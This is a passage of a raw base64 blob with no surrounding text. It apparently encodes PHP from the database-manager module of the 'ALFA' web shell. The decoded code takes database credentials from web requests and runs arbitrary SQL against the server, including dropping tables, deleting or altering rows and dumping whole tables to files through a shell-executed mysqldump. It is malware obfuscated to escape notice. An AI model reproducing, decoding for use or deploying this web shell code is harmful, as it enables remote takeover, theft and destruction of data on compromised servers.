2aWwodGhpcyk7IiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJy4kZGJfbmFtZS4nIiB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImRiLW9wdC1pZCI+PHNlbGVjdCBvbmNoYW5nZT0iYWxmYU15c3FsVGFibGVzRHVtcERyb3AodGhpcyk7IiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJy4kZGJfbmFtZS4nIiBjbGFzcz0iZGItb3B0LWlkIiBuYW1lPSJ0YWJsZXNfZXZpbCIgc3R5bGU9InBhZGRpbmc6IDA7d2lkdGg6IDEwMHB4OyI+PG9wdGlvbiBzZWxlY3RlZD5kcm9wPC9vcHRpb24+PG9wdGlvbj5kdW1wPC9vcHRpb24+PC9zZWxlY3Q+IDxidXR0b24gb25jbGljaz0iYWxmYU15c3FsVGFibGVzRHVtcERyb3BCdG4odGhpcyk7cmV0dXJuIGZhbHNlOyIgY2xhc3M9ImRiLW9wdC1pZCIgZGJfdGFyZ2V0PSInLiRkYl9uYW1lLiciIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIGNsYXNzPSJkYi1vcHQtaWQiPkRvIGl0PC9idXR0b24+PGRpdiBjbGFzcz0iZHVtcC1maWxlLWhvbGRlciIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tbGVmdDoyMHB4O21hcmdpbi10b3A6IDVweDsiPjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJkdW1wLnNxbCIgbmFtZT0iZHVtcF9maWxlIj48L2Rpdj48L2Rpdj4nOwp9CmVjaG8gIjwvZGl2PjwvbGk+IjsKfQplY2hvICI8L3VsPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXJlc3VsdHMnPjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXJlc3VsdC10YWJzJz48ZGl2IGNsYXNzPSdkYi1vcHQtaWQgbXlzcWwtcXVlcnktc2VsZWN0ZWQtdGFiJyB0YXJnZXQ9Jy5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCcgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+UmVzdWx0PC9kaXY+PGRpdiBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1xdWVyeS1mb3JtJyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5RdWVyeTwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtc2VhcmNoLWFyZWEnIG9uY2xpY2s9J2FsZmFNeXNxbFRhYkN0bCh0aGlzKTsnPlNlYXJjaDwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtc3RydWN0dXJlJyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5TdHJ1Y3R1cmU8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLWluc2VydC1yb3cnIG9uY2xpY2s9J2FsZmFNeXNxbFRhYkN0bCh0aGlzKTsnPkluc2VydDwvZGl2PjxkaXYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLWVkaXQtcm93JyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5FZGl0PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1pbnNlcnQtcm93IG15c3FsLWhpZGUtY29udGVudCc+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1lZGl0LXJvdyBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtc2VhcmNoLWFyZWEgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXN0cnVjdHVyZSBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtcXVlcnktZm9ybSBteXNxbC1oaWRlLWNvbnRlbnQnPjxkaXYgc3R5bGU9J21hcmdpbi1ib3R0b206IDVweDsnPjxzcGFuPlF1ZXJ5Ojwvc3Bhbj48L2Rpdj48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDo5MCU7aGVpZ2h0OjEwMHB4Jz48L3RleHRhcmVhPjxwPjxkaXYgc3R5bGU9J2Zsb2F0OmxlZnQ7bWFyZ2luLWxlZnQ6IDMwcHg7Jz48aW5wdXQgY2xhc3M9J2J1dHRvbiBkYi1vcHQtaWQnIGRiX3RhcmdldD0nIi4kX1BPU1RbJ3NxbF9iYXNlJ10uIicgb25jbGljaz0nYWxmYU15c3FsUXVlcnkodGhpcyk7cmV0dXJuIGZhbHNlOycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvZGl2PjwvcD48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50Jz48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyJz48ZGl2IHN0eWxlPSdtYXJnaW4tYm90dG9tOiAxMHB4OycgY2xhc3M9J215c3FsLXF1ZXJ5LXJlcG9ydGVyJz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1wYWdlcic+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktdGFibGUnPjwvZGl2PjwvZGl2PjwvZm9ybT48L3RkPjwvdHI+IjsKfQplY2hvICI8L3RhYmxlPjwvZGl2PiI7CmVjaG8gIjwvZGl2PiI7Cn1lbHNlewplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsKfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYVNxbF9tYW5hZ2VyX2FwaSgpewokZGIgPSAkX1BPU1RbImFsZmExIl07CiR0eXBlID0gJF9QT1NUWyJhbGZhMiJdOwokc3FsX2NvdW50ID0gJF9QT1NUWyJhbGZhMyJdID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKJGRiID0gQGpzb25fZGVjb2RlKCRkYiwgdHJ1ZSk7CiRjb25uID0gQG15c3FsaV9jb25uZWN0KCRkYlsiaG9zdCJdLCAkZGJbInVzZXIiXSwgJGRiWyJwYXNzIl0sICRkYlsiZGIiXSk7CkBteXNxbGlfc2V0X2NoYXJzZXQoJGNvbm4sICJ1dGY4Iik7CmlmKCRjb25uKXsKaWYoJHR5cGUgPT0gImxvYWRfYWxsX3RhYmxlcyIpewokdGFibGVzID0gYXJyYXkoKTsKJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBgdGFibGVfc2NoZW1hYCwgYHRhYmxlX25hbWVgIEZST00gYGluZm9ybWF0aW9uX3NjaGVtYWAuYHRhYmxlc2AgV0hFUkUgYHRhYmxlX3NjaGVtYWAgSU4gKCciLmltcGxvZGUoIicsJyIsICRkYlsiZGF0YWJhc2VzIl0pLiInKTsiKTsKJGNvdW50ID0gMDsKd2hpbGUoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHFfdGFibGVzKSl7CmlmKCRzcWxfY291bnQpewokY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WyJ0YWJsZV9zY2hlbWEiXS4nYC5gJy4kcm93WyJ0YWJsZV9uYW1lIl0uJ2AnKTsKaWYoJGNvdW50X3EpewokY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7CiRjb3VudCA9ICRjb3VudFswXTsKfQp9CiR0YWJsZXNbJHJvd1sidGFibGVfc2NoZW1hIl1dW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1sidGFibGVfbmFtZSJdLCAiY291bnQiID0+IChpbnQpJGNvdW50KTsKfQpmb3JlYWNoKCRkYlsiZGF0YWJhc2VzIl0gYXMgJGRiKXsKaWYoIWlzc2V0KCR0YWJsZXNbJGRiXSkpewokdGFibGVzWyRkYl0gPSBudWxsOwp9Cn0KZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7Cn1lbHNlaWYoJHR5cGUgPT0gImR1bXBfZHJvcCIpewppZigkZGJbIm1vZGUiXSA9PSAiZHJvcCIpewpmb3JlYWNoICgkZGJbInRhYmxlcyJdIGFzICR0YWJsZSkgewpAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiRFJPUCBUQUJMRSBgIi4kdGFibGUuImA7Iik7Cn0KJHRhYmxlcyA9IGFycmF5KCk7CiRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTSE9XIFRBQkxFUzsiKTsKJGNvdW50ID0gMDsKd2hpbGUoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHFfdGFibGVzKSl7CmlmKCRzcWxfY291bnQpewokY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WzBdLidgJyk7CmlmKCRjb3VudF9xKXsKJGNvdW50ID0gQG15c3FsaV9mZXRjaF9yb3coJGNvdW50X3EpOwokY291bnQgPSAkY291bnRbMF07Cn0KfQokdGFibGVzW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1swXSwgImNvdW50IiA9PiAoaW50KSRjb3VudCk7Cn0KZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7Cn1lbHNlewppZihzdHJsZW4oYWxmYUV4KCJteXNxbGR1bXAiKSk+MCl7CmFsZmFFeCgibXlzcWxkdW1wIC0tc2luZ2xlLXRyYW5zYWN0aW9uIC0taG9zdD1cIiIuJGRiWyJob3N0Il0uIlwiIC0tdXNlcj1cIiIuJGRiWyJ1c2VyIl0uIlwiIC0tcGFzc3dvcmQ9XCIiLiRkYlsicGFzcyJdLiJcIiAiLiRkYlsiZGIiXS4iICIuaW1wbG9kZSgiICIsICRkYlsidGFibGVzIl0pLiIgID4gIi4kZGJbImR1bXBfZmlsZSJdKTsKfWVsc2V7CiRmcCA9IEBmb3BlbigkZGJbImR1bXBfZmlsZSJdLCAidyIpOwpmb3JlYWNoICgkZGJbInRhYmxlcyJdIGFzICR0YWJsZSkgewokcmVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOwokY3JlYXRlID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcmVzKTsKJHNxbCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFibGUuImA7XG4iIC4gJGNyZWF0ZVsxXS4iO1xuIjsKaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwokdGJsX2RhdGEgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKJGhlYWQgPSB0cnVlOwp3aGlsZSgkaXRlbSA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHRibF9kYXRhKSl7CiRjb2x1bW5zID0gYXJyYXkoKTsKZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKaWYoJHYgPT0gbnVsbCkKJGl0ZW1bJGtdID0gIicnIjsKZWxzZWlmKGlzX251bWVyaWMoJHYpKQokaXRlbVska10gPSAkdjsKZWxzZQokaXRlbVska10gPSAiJyIuQG15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sICR2KS4iJyI7CiRjb2x1bW5zW10gPSAiYCIuJGsuImAiOwp9CmlmKCRoZWFkKSB7CiRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOwokaGVhZCA9IGZhbHNlOwp9IGVsc2UKJHNxbCA9ICJcblx0LCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsKaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwp9CmlmKCEkaGVhZCkKaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOwp9Cn0KZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gdHJ1ZSwgImZpbGUiID0+ICRkYlsiZHVtcF9maWxlIl0pKTsKfQp9ZWxzZWlmKCR0eXBlID09ICJsb2FkX3RhYmxlcyIpewokdGFibGVzID0gYXJyYXkoKTsKJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNIT1cgVEFCTEVTOyIpOwokY291bnQgPSAwOwp3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcV90YWJsZXMpKXsKaWYoJHNxbF9jb3VudCl7CiRjb3VudF9xID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NFTEVDVCBDT1VOVCgqKSBGUk9NIGAnLiRyb3dbMF0uJ2AnKTsKaWYoJGNvdW50X3EpewokY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7CiRjb3VudCA9ICRjb3VudFswXTsKfQp9CiR0YWJsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkcm93WzBdLCAiY291bnQiID0+IChpbnQpJGNvdW50KTsKfQplY2hvIEBqc29uX2VuY29kZSgkdGFibGVzKTsKfWVsc2VpZigkdHlwZSA9PSAiYWx0ZXIiKXsKJGRiWyJhbHRlciJdWyJ0eXBlIl0gPSBzdHJ0b2xvd2VyKCRkYlsiYWx0ZXIiXVsidHlwZSJdKTsKJGlucHV0cyA9ICRkYlsiYWx0ZXIiXVsidHlwZSJdLiIoIi4kZGJbImFsdGVyIl1bImlucHV0Il0uIikiOwokdGV4dF9pbnB1dCA9IGFycmF5KCJsb25ndGV4dCIsICJ0ZXh0IiwgIm1lZGl1bXRleHQiLCAidGlueXRleHQiKTsKaWYoaW5fYXJyYXkoJGRiWyJhbHRlciJdWyJ0eXBlIl0sICR0ZXh0X2lucHV0KSl7CiRpbnB1dHMgPSAkZGJbImFsdGVyIl1bInR5cGUiXTsKfQpAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiQUxURVIgVEFCTEUgYCIuJGRiWyJ0YWJsZSJdLiJgIE1PRElGWSBDT0xVTU4gYCIuJGRiWyJjb2x1bW4iXS4iYCAiIC4gJGlucHV0cyk7CiRlcnJvciA9IEBteXNxbGlfZXJyb3IoJGNvbm4pOwppZigkZXJyb3IpewplY2hvICRlcnJvcjsKfWVsc2V7CmVjaG8gIm9rIjsKfQp9ZWxzZWlmKCR0eXBlID09ICJlZGl0IiB8fCAkdHlwZSA9PSAiZGVsZXRlIiB8fCAkdHlwZSA9PSAiZGVsZXRlX2FsbCIpewppZigkdHlwZSA9PSAiZWRpdCIpewokcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgKiBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgV0hFUkUgYCIuJGRiWyJjb2xfa2V5Il0uImAgPSAnIi5hZGRzbGFzaGVzKCRkYlsia2V5Il0pLiInIExJTUlUIDAsMSIpOwokcm93ID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcSk7CmlmKCRyb3cpewokY29sdW1uc19xdWVyeSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgQ09MVU1OX05BTUUgYXMgbmFtZSwgQ09MVU1OX1RZUEUsIERBVEFfVFlQRSBhcyB0eXBlIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgYFRBQkxFX1NDSEVNQWAgPSAnIi4kZGJbImRiIl0uIicgQU5EIGBUQUJMRV9OQU1FYCA9ICciLiRkYlsidGFibGUiXS4iJyIpOwokY29sdW1ucyA9IGFycmF5KCk7CiRlZGl0X2RhdGEgPSBhcnJheSgpOwp3aGlsZSgkcm93MiA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewokaW5wdXQgPSBhcnJheSgiY29sX3R5cGUiID0+ICRyb3cyWyJDT0xVTU5fVFlQRSJdKTsKJHJvdzJbInR5cGUiXSA9IHN0cnRvbG93ZXIoJHJvdzJbInR5cGUiXSk7CnN3aXRjaCgkcm93MlsidHlwZSJdKXsKY2FzZSAibG9uZ3RleHQiOiBjYXNlICJ0ZXh0IjogY2FzZSAibWVkaXVtdGV4dCI6IGNhc2UgInRpbnl0ZXh0IjoKJGlucHV0WyJ0YWciXSA9ICJ0ZXh0YXJlYSI7CmJyZWFrOwpjYXNlICJpbnQiOiBjYXNlICJzbWFsbGludCI6IGNhc2UgImJpZ2ludCI6IGNhc2UgInRpbnlpbnQiOiBjYXNlICJtZWRpdW1pbnQiOgokaW5wdXRbInRhZyJdID0gImlucHV0IjsKJGlucHV0WyJ0eXBlIl0gPSAibnVtYmVyIjsKYnJlYWs7CmRlZmF1bHQ6CiRpbnB1dFsidGFnIl0gPSAiaW5wdXQiOwokaW5wdXRbInR5cGUiXSA9ICJ0ZXh0IjsKfQokY29sdW1uc1skcm93MlsibmFtZSJdXSA9ICRpbnB1dDsKfQpmb3JlYWNoKCRyb3cgYXMgJGtleSA9PiAkdil7CiRlZGl0X2RhdGFbXSA9IGFycmF5KCJjb2wiID0+ICRrZXksICJ2YWx1ZSIgPT4gaHRtbHNwZWNpYWxjaGFycygkdiwgRU5UX1FVT1RFUywgJ1VURi04JyksICJ0eXBlIiA9PiAkY29sdW1uc1ska2V5XSk7Cn0KZWNobyBAanNvbl9lbmNvZGUoJGVkaXRfZGF0YSk7Cn0KfWVsc2V7CmlmKCR0eXBlID09ICJkZWxldGVfYWxsIil7CiRyb3dzID0gaW1wbG9kZSgiJywgJyIsICRkYlsicm93cyJdKTsKfWVsc2V7CiRyb3dzID0gYWRkc2xhc2hlcygkZGJbImtleSJdKTsKfQokcXVlcnkgPSAiREVMRVRFIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCBJTiAoJyIuJHJvd3MuIicpIjsKQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKJGVycm9yID0gQG15c3FsaV9lcnJvcigkY29ubik7CmlmKCRlcnJvcil7CiAkc3RhdHVzID0gZmFsc2U7Cn1lbHNlewogJHN0YXR1cyA9IHRydWU7Cn0KZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gJHN0YXR1cywgImVycm9yIiA9PiAkZXJyb3IsICJxdWVyeSIgPT4gJHF1ZXJ5KSk7Cn0KfWVsc2VpZigkdHlwZSA9PSAidXBkYXRlIil7CiRxdWVyeSA9ICJVUERBVEUgYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBTRVQgIjsKZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpewokcXVlcnkgLj0gImAiLiRjb2wuImAgPSAnIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdmFsKS4iJywiOwp9CiRxdWVyeSA9IHN1YnN0cigkcXVlcnksIDAsIC0xKTsKJHF1ZXJ5IC49ICJXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCA9ICciLiRkYlsia2V5Il0uIiciOwokcmVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gJHJlcywgImVycm9yIiA9PiBAbXlzcWxpX2Vycm9yKCRjb25uKSkpOwp9ZWxzZWlmKCR0eXBlID09ICJpbnNlcnQiKXsKJHF1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgIjsKZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpewokY29scyAuPSAkY29sIC4gIiwiOwokdmFscyAuPSAiJyIubXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygkY29ubiwgJHZhbCkuIicsIjsKfQokY29scyA9IHN1YnN0cigkY29scywgMCwgLTEpOwokdmFscyA9IHN1YnN0cigkdmFscywgMCwgLTEpOwokcXVlcnkgPSAkcXVlcnkgLiAiKCIgLiAkY29scyAuICIpIiAuICJWQUxVRVMoIiAuICR2YWxzIC4gIikiOwokcmVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gJHJlcywgImVycm9yIiA9PiBAbXlzcWxpX2Vycm9yKCRjb25uKSkpOwp9ZWxzZXsKJHBhZ2VzID0gMDsKJHRpdGxlID0gZmFsc2U7CiRxdWVyeSA9ICIiOwokdGJsX2NvbnRlbnQgPSAnPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRpbmc9IjIiIGNsYXNzPSJtYWluIG15c3FsLWRhdGEtdGJsIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOwokbGluZSA9IDA7CiR0YWJsZXMgPSBhcnJheSgpOwokY29sdW1ucyA9IGFycmF5KCk7CmlmKCR0eXBlID09ICJsb2FkX2RhdGEiKXsKJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBMSU1JVCAwLDMwIjsKJHRibF9jb3VudF9xID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAiKTsKJHRibF9jb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCR0YmxfY291bnRfcSk7CiRjb2x1bW5zX3F1ZXJ5ID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBDT0xVTU5fTkFNRSBhcyBuYW1lLCBDT0xVTU5fVFlQRSBhcyB0eXBlLCBDT0xMQVRJT05fTkFNRSBhcyBjb2xsYXRpb24sIERBVEFfVFlQRSBhcyBkYXRhX3R5cGUsIENIQVJBQ1RFUl9NQVhJTVVNX0xFTkdUSCBhcyB0eXBlX3ZhbHVlIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgYFRBQkxFX1NDSEVNQWAgPSAnIi4kZGJbImRiIl0uIicgQU5EIGBUQUJMRV9OQU1FYCA9ICciLiRkYlsidGFibGUiXS4iJyIpOwp3aGlsZSgkcm93MiA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewokY29sdW1uc1tdID0gJHJvdzI7Cn0KaWYoJHRibF9jb3VudFswXSA+IDMwKXsKJHBhZ2VzID0gY2VpbCgkdGJsX2NvdW50WzBdIC8gMzApOwp9Cn1lbHNlaWYoJHR5cGUgPT0gInF1ZXJ5Iil7CiRxdWVyeSA9ICRkYlsicXVlcnkiXTsKfWVsc2VpZigkdHlwZSA9PSAicGFnZSIpewokZGJbInBhZ2UiXSA9IChpbnQpJGRiWyJwYWdlIl0gLSAxOwokcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIExJTUlUICIuKCRkYlsicGFnZSJdKjMwKS4iLDMwIjsKfWVsc2VpZigkdHlwZSA9PSAic2VhcmNoIil7CiRzZWFyY2ggPSAiIjsKJHNlYXJjaF9ub3ZhbCA9IGFycmF5KCI9ICcnIiwgIiE9ICcnIiwgIklTIE5VTEwiLCAiSVMgTk9UIE5VTEwiKTsKZm9yZWFjaCgkZGJbInNlYXJjaCJdIGFzICRjb2wgPT4gJHZhbCl7CiRzZWFyY2hfbm92YWxfciA9IGluX2FycmF5KCR2YWxbIm9wdCJdLCAkc2VhcmNoX25vdmFsKTsKaWYoZW1wdHkoJHZhbFsidmFsdWUiXSkgJiYgISRzZWFyY2hfbm92YWxfciljb250aW51ZTsKaWYoc3Ryc3RyKCR2YWxbIm9wdCJdLCAiLi4uIikgfHwgJHNlYXJjaF9ub3ZhbF9yKXsKJHZhbFsib3B0Il0gPSBzdHJfcmVwbGFjZSgiLi4uIiwgJHZhbFsidmFsdWUiXSwgJHZhbFsib3B0Il0pOwokc2VhcmNoIC49ICRjb2wgLiAiICIgLiAkdmFsWyJvcHQiXSAuICIgQU5EICI7Cn1lbHNlewokc2VhcmNoIC49ICRjb2wgLiAiICIgLiAkdmFsWyJvcHQiXSAuICIgJyIuYWRkc2xhc2hlcygkdmFsWyJ2YWx1ZSJdKS4iJyBBTkQgIjsKfQp9CiRzZWFyY2ggLj0gIjE9MSI7CiRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgV0hFUkUgIiAuICRzZWFyY2g7Cn0KJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKaWYoISRxX3RhYmxlcyl7CmVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IGZhbHNlLCAiZXJyb3IiID0+IEBteXNxbGlfZXJyb3IoJGNvbm4pLCAicXVlcnkiID0+ICRxdWVyeSkpOwpyZXR1cm4gZmFsc2U7Cn0KJGNvbF9rZXkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNPTFVNTlMgV0hFUkUgVEFCTEVfU0NIRU1BID0gJyIuQGFkZHNsYXNoZXMoJGRiWyJkYiJdKS4iJyBBTkQgVEFCTEVfTkFNRSA9ICciLkBhZGRzbGFzaGVzKCRkYlsidGFibGUiXSkuIicgQU5EIENPTFVNTl9LRVkgPSAnUFJJJyIpOwppZigkY29sX2tleSl7CiRjb2xfa2V5ID0gQG15c3FsaV9mZXRjaF9yb3coJGNvbF9rZXkpOwokY29sX2tleSA9ICRjb2xfa2V5WzBdOwppZighZW1wdHkoJGNvbF9rZXkpKXsKJHRibF9jb250ZW50ID0gJzxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NXB4O21hcmdpbi10b3A6NXB4OyI+PGJ1dHRvbiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgZGJfdGFyZ2V0PSInLiRkYlsiZGIiXS4nIiBvbmNsaWNrPSJhbGZhTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3ModGhpcyk7cmV0dXJuIGZhbHNlOyI+RGVsZXRlIFNlbGVjdGVkIFJvd3M8L2J1dHRvbj48L2Rpdj48dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMiIgY2xhc3M9Im1haW4gbXlzcWwtZGF0YS10YmwiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7Cn0KfWVsc2V7CiRjb2xfa2V5ID0gZmFsc2U7Cn0Kd2hpbGUoJGl0ZW0gPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRxX3RhYmxlcykpewppZighJHRpdGxlKXsKJHRibF9jb250ZW50IC49ICc8dHIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzMwNWI4ZTsiPic7CmlmKCRjb2xfa2V5KXsKJHRibF9jb250ZW50IC49ICc8dGggc3R5bGU9IndpZHRoOiA1NXB4O3RleHQtYWxpZ246Y2VudGVyOyI+PGlucHV0IGRiX2lkPSInLiRkYlsiZGJfaWQiXS4nIiBvbmNoYW5nZT0iYWxmYU15c3FsVGJsU2VsZWN0QWxsKHRoaXMpOyIgdHlwZT0iY2hlY2tib3giPjwvdGg+PHRoIHN0eWxlPSJ3aWR0aDogNTVweDt0ZXh0LWFsaWduOmNlbnRlcjsiPkVkaXQ8L3RoPjx0aCBzdHlsZT0id2lkdGg6IDU1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ij5EZWxldGU8L3RoPic7Cn0KZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7CiR0YmxfY29udGVudCAuPSAnPHRoPicuJGtleS4nPC90aD4nOwp9CnJlc2V0KCRpdGVtKTsKJHRpdGxlPXRydWU7CiR0YmxfY29udGVudCAuPSAnPC90cj48dHI+Jz